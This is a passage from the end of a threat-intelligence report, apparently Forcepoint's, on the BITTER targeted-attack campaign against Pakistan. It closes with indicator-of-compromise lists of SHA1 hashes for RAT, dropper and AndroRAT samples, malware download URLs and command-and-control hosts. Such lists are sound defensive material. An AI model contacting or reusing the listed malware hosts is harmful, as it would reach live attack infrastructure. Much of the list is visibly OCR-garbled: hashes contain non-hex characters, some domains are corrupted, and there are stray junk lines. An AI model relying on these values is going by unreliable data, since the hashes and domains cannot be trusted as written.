in with common attacks in the wild. BITTER is able to achieve this by
using available online services such as free DDNS, dedicated server
hosting and Gmail to setup their C2s. Such setup is exhibited by today's
common malware.

It is worth noting that in all the artifacts collected in this research, none
of the English words that were used had spelling errors, suggesting that
the actors behind BITTER are proficient in the English language.
Furthermore, as discussed above, all the artifacts we have seen are
consistent with Pakistan being the target of this group. There may be
other targets that have not been discovered yet or BITTER may be a
branch of a larger campaign with broader targets, but only time will tell
whether any of these are correct.

INDICATORS OF COMPROMISE

RAT (SHA1)

42cdfed65ed996c546c215a8e994a82fea7dc24c
3ab4ce4b3ad4co6d6c454efcece774b33335dda2
19901a48702c52688ce6dad5b714al1b3e634db76
93e98e9c4cf7964ea4e7a559¢cdd2720atb26f717
c3a39dc22991fcf2455b8b6b479eda3009d6dofd
37e59c1b32684cedb341584387ab75990749bde7
52485ae219d64daad6380abdc5f48678d2fbdb54
137a7dc1c33dc04e4f00714c074F35c520f7bb97
e57c88b302d39f4b1da33c6b781557fed5b8cece
0172526faf5d0c72122febd2fb96e2a@lefeff8
e7e0ba30878de73597a51637f52e20dc94ae671d
fa8c800224786bab5a436b46acd2c223edda230e
c75b46b50b78e25e09485556acd2e9862dce3890
72fa5250069639b6ac4f3477b85159a24c603723
£898794563fa2ae31218e0bb8670e08b246979c9

2b873878b4ctbe@aeab32aff8890b2e6ceed1804
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d7a770233848f42c5e1d5f4b8847217cb12d5F3d
ddf5bb366c810e4d524833dcd219599380c86e7a
23b28275887c7757falde24df3bd7484753bba37
6Ccaae6853d88fc35cc150el1793fef5420ff311c6
1la2ec73ta90d800056516a8bdbocc4da76f82ade

f£73d3c649703f11d095bb92c956fe52c1bf5589

RAT Dropper (SHA1)

cofcfafcfdo24467aed379b071661F2f7c86c3200
0116b053d8ed6d864183351f306876c47adle227
4bebe7e7fb651c51181949ccla2d20f61708371a
998d401edba7a9509546511981f8cd4bf{5bc098
21ef1f7df01a568014a92c1f8b41c33d7b62cb40

c77b8de689caee312a29d30094be72b18eca778d

AndroRAT (SHAL)

7d47ae3114f08ect7fb4a73b7f5571d70cf2556da

645a6e53116f1fd7ece91549172480c0c78dfof

RAT Download Sites

kart90.website/sysdll
range7.com/svcf.exe
scholars90.website/ifxc
scholars90.website/ifxc
scholars90.website/cnhost.exe
kart90.website/cnhost
frontier89.website/wmiserve

reloadguide71.com/winter/iofs

ORX hRIXFFHE

$43T / H44|



k=%

XHETR

creed90.com/ismr

wester.website/uwe
chinatel9@.com/min
wester.website/nqw

scholars90.website/splsrv

RAT C2s

ranadey.net78.net/Muzic/exist.php
info2t.com
range?7.com/m2s_reply u2.php
www.queryz4u.com

www . sportszone71.com/games/hill.php
micronet.no-ip.co.uk
www.inspire71.com/warzone/hill.php
spiralbook71.com/warzone/hill.php
govsite.ddns.net
randomvalue90.com/warzone/hill.php
marvel89.com/ahead.php
cloudupdates.servehttp.com
pickup.ddns.net
marvel89.com/msuds.php
updateservice.redirectme.net
pickup.ddns.net
destiny91.com/truen/adfsdsqw.php
medzone71.com/medal/adfsdsqw.php

nexster9l.com/winter/war.php

https://blogs.forcepoint.com/security-labs/bitter-targeted-attack-against-pakistan
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